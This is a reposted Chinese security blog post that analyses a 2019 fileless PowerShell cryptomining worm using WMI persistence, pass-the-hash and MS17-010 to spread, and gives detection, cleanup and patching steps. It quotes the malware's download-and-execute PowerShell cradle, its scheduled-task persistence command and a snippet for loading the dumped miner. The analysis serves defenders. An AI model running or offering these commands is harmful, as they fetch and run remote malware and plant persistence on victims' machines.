2019年末Powershell 挖礦病毒的處理與防范


  序文

  最近,一種通過PowerShell腳本作為載體進行傳播的挖礦病毒在企業網絡中頻繁爆發,該病毒其利用了WMI+Powershell方式進行無文件攻擊,並長駐內存進行挖礦。還具有兩種橫向傳染機制,分別為WMIExec自動化爆破和MS17-010“永恆之藍”漏洞攻擊,極易在企業網的局域網內迅速傳播。某一天,當你檢查服務器,發現很多服務器的CPU使用率特別高,且使用進程為Powershell.exe時,那么基本可以判定,您的服務器中了Powershell挖礦病毒了。

  病毒組成

  通過wbemtest打開WMI測試器,連接到:root\Default時會發現Powershell挖礦病毒已經幫您新建了一個攻擊類之前的名稱叫:Win32_Services,后面有一些變種病毒創建的攻擊類更改了名稱為:System_Anti_Virus_Core。雙擊攻擊類后會發現,經過Base 64加密的攻擊代碼Base 64解碼器(http://www.heminjie.com/tool/base64.php))

 

  病毒被加載后內存存在4個模塊,分別為挖礦模塊、Minikatz模塊、WMIExec模塊、MS17-010攻擊模塊。

    1.首先,挖礦模塊啟動,持續進行挖礦。
    2.其次,Minikatz模塊對目的主機進行SMB爆破,獲取NTLMv2數據。
    3.然后,WMIExec使用NTLMv2繞過哈希認證,進行遠程執行操作,攻擊成功則執行shellcode使病原體再復制一份到目的主機並使之運行起來,流程結束。
    4.最后,如WMIExec攻擊失敗,則嘗試使用MS17-010“永恆之藍”漏洞攻擊,攻擊成功則執行shellcode使病原體再復制一份到目的主機並使之運行起來(每感染一台,重復1、2、3、4)。此病毒采用的是WMI+Powershell的內存駐留方式,模塊以服務形式存在,每5600秒可自動觸發一次。

  

   此次攻擊,WMIExec攻擊體和MS17-010攻擊體均為Powershell腳本,Minikatz為二進制程序。

  

  此病毒會嘗試連入世界各大礦池地址,主要為歐美及亞太地區。另外,這次挖礦幣種為門羅幣,也有黑客錢包地址。

   

   過Powershell腳本調用WMI二進制載荷實現挖礦          

   為了利益最大化,此病毒還會嘗試干掉其它挖礦進程           

  此PowershellMiner,做了一個操作系統適配和Minikatz數據更新機制。如果為info6.ps1,則運行起來后會判斷操作系統是否為64位的,若不是,則下載info3.ps1並替換執行。
同理,如果為info3.ps1,則運行起來后會判斷操作系統是否為32位的,若不是,則下載info6.ps1。為最大程度的完成SMB爆破效果,Minikatz模塊也會主動去下載最新的數據載荷(應用配置和密碼字典之類的數據)。

  

代碼分析

詳見:小心PowerShell抓你當“礦工”!-安全豹

 

這里是鏈接備份防鏈接失效,請自覺略過方框里的內容

母體腳本

 

如下為捕獲到的樣本,也是一個唯一落地的BAT腳本,功能上算一個較為常見的PowerShell聯網下拉執行腳本。通過判斷WMI的root\Subscription命名空間下是否存在名為SCM Event FilterConsumer,如果不存在則聯網下拉info6.ps1腳本。

 

powershell "if(!(string).contains('SCM EventFilter')) { IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX:8000/info6.ps1') }" 

 

提供病毒下載的服務器

 

image.png

 

其中,

 

  • info.vbs 攜帶挖礦程序的vbs腳本,自身會寫入WMI
  • info3.ps1 攜帶x86平台挖礦、攻擊腳本
  • info6.ps1 攜帶x64平台挖礦、攻擊腳本

 

攻擊演示圖

 

image.png

 

info6.ps1主腳本

 

混淆嚴重

 

info6.ps1是一個混淆程度較高的powershell腳本,整體代碼只有兩行,但足有3.9M大小,真是”短小精悍”。image.png

 

image.png

 

通過對該腳本進行2次去混淆並進行整理,最終得到一個較為清晰的內容,下文是其執行過程及其相關模塊的分析。

 

執行過程

 

1.初始化數據

 

通過對$fa進行分拆得到各個變量的數據,實際均經過base64編碼。

 

image.png

 

這些數據會存儲在ManagementClass中,而ManagementClass的管理類是WMI,實際最終存儲在WMI 中,也即無文件

 

image.png

 

在取值的時候,則可以通過如下方式取出

 

 # 取出mimi模塊 ([WmiClass] 'root\default:Win32_TaskService').Properties['mimi'] 

 

2.判斷x64

 

大多數機器是x64的,但也有部分x86用戶,需要做兼容,實際功能代碼與info6.ps1一樣。

 

image.png

 

3. 解fun代碼

 

由於fun中有WMIExec和MS17010的攻擊包,還有一些是輔助功能函數,所以這里先引入,至於里面具體是什么請向下看。

 

image.png

 

4.釋放運行時dll

 

這些dll是挖礦程序需要用到的,所以這里早點釋放出來吧

 

image.png

 

5. 刪除其他WMI

 

image.png

 

6. 寫自己的WMI

 

其中FilterName與ConsumerName分別為SCM Event Filter,SCM Event Consumer,間隔5600s執行一次”本腳本”功能,通過powershell傳入base64編碼后的腳本內容。

 

image.png

 

image.png

 

7. 善后、開工!

 

由於母體bat腳本是由ms17010 shellcode寫入temp路徑下的,原始名稱為y1.bat,並且通過寫計划任務的形式啟動,所以這里需要刪掉這個計划任務以及清理掉這個bat腳本。之后看看哪些powershell進程訪問了80端口,由於樣本攜帶的挖礦程序均訪問80端口,所以也以此判斷是否啟動了自己的挖礦程序,如果沒訪問那么就需要執行一次,當然為了保證工作環境的干凈,需要干掉疑似挖礦的其他powershell進程,通過判斷典型挖礦程序的的3333,5555端口訪問。

 

image.png

 

8. 攻擊、傳播!

 

為了保證挖礦效率,需要抓一些”礦工”,由於不會給工資,所以沒人願意白干。這里需要請WMIExec和MS17010兩位大哥出面協調。

 

image.png

 

通過枚舉網段IP,進行攻擊,由於給WMIExec 命令行參數傳錯,導致這個攻擊徹底廢了,那只好MS17010出馬了,通過調用C#實現的[PingCastle.Scanners.ms17_010scanner]::SCAn接口,以及SMB_EtERNAlbLue函數進行攻擊。

 

image.png

 

模塊分析

 

繼上文說到本樣本使用了WMIExec和MS17010攻擊包,那么這些東西是什么,又是怎么引入的?這也是本節要說明的。

 

WMIExec

 

代碼來自Invoke-TheHash項目,一個基於.Net TCPClient,通過把NTLM hash傳遞給NTLMv2身份驗證協議來進行身份驗證的工具,執行時不需要本地管理員權限,傳送門

 

image.png

 

樣本作者封裝了一個test-ip函數,其參數2,4是通過mimikatz抓取的本地用戶hash,參數1,3分別是目標ip和回連web服務器。WMIExec執行的功能是通過寫一個VBS Download,下拉執行一個VBS腳本,同時下拉執行info6.ps1 (32位為info3.ps1)。

 

image.png

 

MS17010

 

雖然這個漏洞目前看來有點”過氣”,但畢竟也是RCE啊!

 

作者分別引入了掃描和exp模塊,掃描模塊,通過Add-Type -TypeDefinition的方式引入源代碼,這樣會在powershell運行過程中調起C#編譯器動態編譯,抓取到的命令行如下

 

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"/t:library /utf8output /R:"System.dll" /R:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"/out:"C:\Users[user]\AppData\Local\Temp\kr7amwim.dll" /D:DEBUG/debug+ /optimize- /warnaserror "C:\Users[user]\AppData\Local\Temp\kr7amwim.0.cs" 

 

exp模塊,已封裝很完整,暫未找到開源代碼。image.png

 

shellcode,執行如下命令

 

cmd /c echo powershell "if(!(string).contains('SCMEvent Filter')) {IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX/info6.ps1')}" >%temp%\y1.bat && SCHTASKS /create /RU System /SC WEEKLY /TNyastcat /f /TR "%temp%\y1.bat"&&SCHTASKS /run /TN yastcat 

 

攻擊時截圖如下,

 

image.png

 

執行方式

 

樣本作者在PowerShell中攜帶的挖礦程序,會通過反射加載的方式進行啟動,具體可以用如下代碼模擬啟動

 

$mon = get-content ".\mon" #dump出的mon $funs = get-content ".\funs" #dump出的funs iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList@($mon, $mon, 'Void', 0, '', '') 

 

(門羅畢)挖礦程序執行后,界面如下

 

image.png

 

info.vbs腳本

 

上文說了info6.ps1和其相關的輔助模塊,同時提到一次WMIExec攻擊成功之后,會下拉一個info.vbs腳本,但是由於傳入參數問題,這個是不會被下拉的,這里簡單分析下。vbs腳本依然存在混淆,通過提取、整理,如下,先將編碼后的另一個挖礦程序寫入到WMI中保存起來,使用的時候通過調用WriteBinary函數導出

 

image.png

 

之后取出來,釋放執行,開始挖礦image.png

 

InstallUpdateableT完成寫一個WMI事件過濾器,間隔2h啟動一次,功能當然是取挖礦程序,釋放執行,這里不再贅述。image.png

 

檢測&清除

 

  1. 通過代碼分析,本樣本實際傳播途徑主要為ms17010,所以提醒各位還是要及時安裝補丁。
  2. 檢測&清除PowerShell腳本代碼如下,請嘗試以管理員權限運行(請謹慎使用下列代碼,在自身不確定的情況下也可安裝金山毒霸進行檢測)

    Write-host "[*] BadBee! Check&Clear!" $find = $false $mimi = $null $zlib = $null if (([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding )).contains('SCM Event Filter')) { $mimi = ([WmiClass] 'root\default:Win32_TaskService').Properties['mimi'] $zlib = ([WmiClass] 'root\default:Win32_TaskService').Properties['zlib'] if (($mimi -and $mimi.value[0] -eq 'T' -and $mimi.value[1] -eq 'V' -and $mimi.value[2] -eq 'q') -or ($zlib -and $zlib.value[0] -eq 'T' -and $zlib.value[1] -eq 'V' -and $zlib.value[2] -eq 'q')) { Write-host "[*]Find BadBee!" $find = $true } } if ($find -eq $true) { Write-host "[+]C1ear WMI in..." gEt-wmIObjeCt -Namespace root\Subscription -Class __EventFilter -filter "Name= 'SCM Event Filter'" |remOVe-wMiObjecT -Verbose GeT-wmiOBjECT -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose GET-WMioBject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%SCM Event Consumer%'" | REmOVE-wmIOBjEcT -Verbose GeT-wmiOBjECT -Namespace root\Subscription -Class ActiveScriptEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose ([WmiClass]'root\default:Win32_TaskService') | REmOVE-wmIOBjEcT -Verbose Write-host "[+]C1ear WMI out..." } else { Write-host "[-]C0ngratulation nothing to find ..." } Write-host "[*]all done ..." 

 

  處理Powershell挖礦病毒

  首先應對:

  1、隔離感染主機:已中毒計算機盡快隔離,關閉所有網絡連接,禁用網卡。
  2、切斷傳播途徑:關閉潛在終端的SMB 445等網絡共享端口,關閉異常的外聯訪問。
  3、查找攻擊源:借助安全感知類產品定位攻擊源。   

  查殺病毒:

  查殺比較簡單,使用Autoruns工具(微軟官網可下),選擇WMI,如下圖,將該WMI啟動項刪除(該項底部詳細欄有“SELECT * FROM __InstanceModificationEvent WITHIN 5600”)。

  手動刪除:

  第一步:通過taskkill命令結束Powershell.exe進程: 

    taskkill /IM powershell.exe /F /S 10.1.13.30
    taskkill /IM powershell.exe /F /S 10.1.13.51

  第二步:刪除攻擊類:運行-wbemtest 打開WMI檢查器: 

      連接到默認的命名空間,點擊枚舉類

      

       名字類似 Win32_Services,System_Anti_Virus_Core類的都刪除。

  第三步:刪除“控制面板-系統和安全-管理工具-本地安全策略(運行:SECPOL.MSC)-IP安全策略在本地計算機”(默認是空)下的項目

  修改主機賬號密碼,修補漏洞:

  打上“永恆之藍”漏洞補丁,請到微軟官網,下載對應的漏洞補丁(https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx)。

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM